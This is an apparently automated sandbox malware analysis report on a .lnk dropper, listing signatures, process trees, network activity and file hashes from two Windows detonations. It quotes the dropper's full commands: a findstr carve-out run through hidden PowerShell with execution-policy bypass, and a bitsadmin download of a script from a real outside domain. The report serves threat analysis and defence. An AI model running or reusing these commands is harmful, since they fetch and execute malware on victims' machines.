Malware Analysis Report

2024-10-24 20:51

Sample ID 240825-xpql5s1ejm
Target c161a086a98f548b1c57113779a04f51_JaffaCakes118
SHA256 33d7333366c4e33a09288cbe4183360462716468ac5a8dd9fc1278a2a97b4c51
Tags
dropper execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

33d7333366c4e33a09288cbe4183360462716468ac5a8dd9fc1278a2a97b4c51

Threat Level: Likely malicious

The file c161a086a98f548b1c57113779a04f51_JaffaCakes118 was found to be: Likely malicious.

Malicious Activity Summary

dropper execution

Download via BitsAdmin

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-25 19:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-25 19:01

Reported

2024-08-25 19:04

Platform

win7-20240708-en

Max time kernel

117s

Max time network

118s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\pack-KRJ88981-99192.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2156 wrote to memory of 780 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 2156 wrote to memory of 780 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 2156 wrote to memory of 780 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 780 wrote to memory of 2960 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\findstr.exe
PID 780 wrote to memory of 2960 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\findstr.exe
PID 780 wrote to memory of 2960 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\findstr.exe
PID 780 wrote to memory of 2756 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 780 wrote to memory of 2756 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 780 wrote to memory of 2756 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2756 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2756 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 2632 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2796 wrote to memory of 2632 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2796 wrote to memory of 2632 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2632 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 2632 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 2632 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bitsadmin.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\pack-KRJ88981-99192.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c findstr /s jhdfkweinwefa C:\Users\Admin\\*.lnk > C:\Users\Admin\\Documents\\blue.ps1 & cmd /c powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1

C:\Windows\system32\findstr.exe

findstr /s jhdfkweinwefa C:\Users\Admin\\*.lnk

C:\Windows\system32\cmd.exe

cmd /c powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\\d & bitsadmin /transfer jhdfkweinwefa /download /priority FOREGROUND "https://jotaortega.com/white/tino.ps1" C:\Users\Admin\AppData\Roaming\\ilxmNkDcyfpSBn.ps1 & del C:\Users\Admin\AppData\Roaming\\d & exit

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer jhdfkweinwefa /download /priority FOREGROUND "https://jotaortega.com/white/tino.ps1" C:\Users\Admin\AppData\Roaming\\ilxmNkDcyfpSBn.ps1

Network

Country Destination Domain Proto
US 8.8.8.8:53 jotaortega.com udp

Files

memory/2796-41-0x000000001B730000-0x000000001BA12000-memory.dmp

memory/2796-42-0x0000000001E00000-0x0000000001E08000-memory.dmp

C:\Users\Admin\Documents\blue.ps1

MD5 367a305a4630d346d724dbb691efb600
SHA1 d6c8eaad2c33dc6c1e6a78bcce5be7f1c6d31ecd
SHA256 eb806b5998540137f2d368ba7bd613d5cadf65c683467c0be55f8f4c2cd3caea
SHA512 9484ee11a52aa8f26c85e94ebd326a75df52d33186ecbcfa118895ec39b5a1a9ede48ddabdae830294596ee9bd4827bb56c04b01e54ae6dd341ed10db2b61b11

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-25 19:01

Reported

2024-08-25 19:04

Platform

win10v2004-20240802-en

Max time kernel

137s

Max time network

131s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\pack-KRJ88981-99192.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\pack-KRJ88981-99192.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c findstr /s jhdfkweinwefa C:\Users\Admin\\*.lnk > C:\Users\Admin\\Documents\\blue.ps1 & cmd /c powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1

C:\Windows\system32\findstr.exe

findstr /s jhdfkweinwefa C:\Users\Admin\\*.lnk

C:\Windows\system32\cmd.exe

cmd /c powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -ep bypass -File C:\Users\Admin\\Documents\\blue.ps1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4152,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:8

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\\d & bitsadmin /transfer jhdfkweinwefa /download /priority FOREGROUND "https://jotaortega.com/white/tino.ps1" C:\Users\Admin\AppData\Roaming\\mtAWXwsnpbHikP.ps1 & del C:\Users\Admin\AppData\Roaming\\d & exit

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer jhdfkweinwefa /download /priority FOREGROUND "https://jotaortega.com/white/tino.ps1" C:\Users\Admin\AppData\Roaming\\mtAWXwsnpbHikP.ps1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 jotaortega.com udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 44.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 18.173.189.20.in-addr.arpa udp

Files

memory/2992-1-0x00007FFDBE0D3000-0x00007FFDBE0D5000-memory.dmp

memory/2992-2-0x000001CE310F0000-0x000001CE31112000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_daer4vr4.p51.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2992-12-0x00007FFDBE0D0000-0x00007FFDBEB91000-memory.dmp

C:\Users\Admin\Documents\blue.ps1

MD5 367a305a4630d346d724dbb691efb600
SHA1 d6c8eaad2c33dc6c1e6a78bcce5be7f1c6d31ecd
SHA256 eb806b5998540137f2d368ba7bd613d5cadf65c683467c0be55f8f4c2cd3caea
SHA512 9484ee11a52aa8f26c85e94ebd326a75df52d33186ecbcfa118895ec39b5a1a9ede48ddabdae830294596ee9bd4827bb56c04b01e54ae6dd341ed10db2b61b11

memory/2992-14-0x00007FFDBE0D0000-0x00007FFDBEB91000-memory.dmp

memory/2992-16-0x00007FFDBE0D3000-0x00007FFDBE0D5000-memory.dmp

memory/2992-17-0x00007FFDBE0D0000-0x00007FFDBEB91000-memory.dmp